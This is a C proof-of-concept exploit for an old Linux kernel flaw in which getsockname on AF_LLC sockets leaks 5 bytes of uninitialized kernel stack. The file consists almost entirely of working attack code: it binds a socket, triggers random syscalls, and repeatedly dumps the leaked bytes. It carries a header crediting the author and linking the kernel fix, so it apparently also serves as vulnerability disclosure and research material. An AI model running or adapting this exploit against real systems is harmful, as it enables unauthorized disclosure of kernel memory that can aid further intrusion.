/*
 * llc-getsockname-leak.c
 *
 * Linux Kernel <= 2.6.31-rc7 AF_LLC getsockname 5-Byte Stack Disclosure
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 *
 * Information:
 *
 *   http://git.kernel.org/linus/28e9fc592cb8c7a43e4d3147b38be6032a0e81bc
 *
 *   sllc_arphrd member of sockaddr_llc might not be changed. Zero sllc
 *   before copying to the above layer's structure.
 *
 * Notes:
 *
 *   Bug is present in <= 2.6.31-rc7, but the impact is limited to <= 2.6.24.4
 *   as AF_LLC sockets have been restricted to CAP_NET_RAW since then. Only 5
 *   bytes of uninitialized kernel stack are leaked via AF_LLC's getsockname().
 */

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <net/if_arp.h>

#ifndef AF_LLC
#define AF_LLC 26
#endif

#ifndef AF_LLC
#define AF_LLC 26
#endif

#ifndef LLC_SAP_NULL
#define LLC_SAP_NULL 0x00
#endif

#ifndef __LLC_SOCK_SIZE__
#define __LLC_SOCK_SIZE__ 16
struct sockaddr_llc {
 sa_family_t     sllc_family;
 sa_family_t     sllc_arphrd;
 unsigned char   sllc_test;
 unsigned char   sllc_xid;
 unsigned char   sllc_ua;
 unsigned char   sllc_sap;
 unsigned char   sllc_mac[6];
 unsigned char   __pad[__LLC_SOCK_SIZE__ - sizeof(sa_family_t) * 2 -
                       sizeof(unsigned char) * 4 - 6];
};
#endif

const int randcalls[] = {
 __NR_read, __NR_write, __NR_open, __NR_close, __NR_stat, __NR_lstat,
 __NR_lseek, __NR_rt_sigaction, __NR_rt_sigprocmask, __NR_ioctl,
 __NR_access, __NR_pipe, __NR_sched_yield, __NR_mremap, __NR_dup,
 __NR_dup2, __NR_getitimer, __NR_setitimer, __NR_getpid, __NR_fcntl,
 __NR_flock, __NR_getdents, __NR_getcwd, __NR_gettimeofday,
 __NR_getrlimit, __NR_getuid, __NR_getgid, __NR_geteuid, __NR_getegid,
 __NR_getppid, __NR_getpgrp, __NR_getgroups, __NR_getresuid,
 __NR_getresgid, __NR_getpgid, __NR_getsid,__NR_getpriority,
 __NR_sched_getparam, __NR_sched_get_priority_max
};

void
dump(const unsigned char *p, unsigned l)
{
 printf("sockaddr_llc:");
 while (l > 0) {
  printf(" ");
  if (l == 12 || l == 2) {
   printf("*** ");
  }
  printf("%02x", *p);
  if (l == 10 || l == 1) {
   printf(" ***");
  }
  ++p; --l;
 }
 printf("\n");
}

int
main(void)
{
 struct sockaddr_llc sllc;
 int ret, sock, call, sllc_len = sizeof(sllc);
 
 printf("[+] Creating AF_LLC socket.\n");

 sock = socket(AF_LLC, SOCK_DGRAM, 0);
 if (sock == -1) {
  printf("[-] Error: Couldn't create AF_LLC socket.\n");
  printf("[-] %s.\n", strerror(errno));
  exit(1);
 }

 memset(&sllc, 0, sllc_len);

 sllc.sllc_family = AF_LLC;
 sllc.sllc_arphrd = ARPHRD_ETHER;
 sllc.sllc_sap = LLC_SAP_NULL;
 
 printf("[+] Dummy sendto to autobind socket.\n");

 ret = sendto(sock, "LEAK", 4, 0, (struct sockaddr *) &sllc, sllc_len);
 if (ret == -1) {
  printf("[-] Error: sendto failed.\n");
  printf("[-] %s.\n", strerror(errno));
  exit(1);
 }

 printf("[+] Ready to call getsockname.\n\n");

 for (ret = 5; ret > 0; ret--) {
  printf("%d...\n", ret);
  sleep(1);
 }
 srand(time(NULL));

 while (1) {
  /* random stuff to make stack pseudo-interesting */
  call = rand() % (sizeof(randcalls) / sizeof(int));
  syscall(randcalls[call]);

  ret = getsockname(sock, (struct sockaddr *) &sllc, &sllc_len);
  if (ret != 0) {
   printf("[-] Error: getsockname failed.\n");
   printf("[-] %s.\n", strerror(errno));
   exit(1);
  }

  dump((unsigned char *) &sllc, sizeof(sllc));
 }

 return 0;
}